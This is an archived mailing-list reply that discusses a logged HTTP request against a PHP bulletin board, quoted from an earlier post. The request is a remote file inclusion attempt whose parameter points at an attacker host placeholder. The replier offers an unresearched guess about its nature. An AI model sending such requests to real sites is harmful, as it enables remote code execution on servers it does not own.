Re: interesting attack

[Technocrat <dj.technocrat.listmail () gmail com>]

On 4/14/06, Peter Kosinar <goober () nuf ksp sk> wrote:
> GET /minibb/bb_admin.php?includeFooter=http://[attacker] HTTP/1.1

Without researching it, I would guess that it is a command/script
injection attack in a PHP based BB system. Looks like she is using a
poor file handler for the injection. Again, this is without research.

-Technocrat

_______________________________________________
Fun and Misc security discussion for OT posts.
https://linuxbox.org/cgi-bin/mailman/listinfo/funsec
Note: funsec is a public and open mailing list.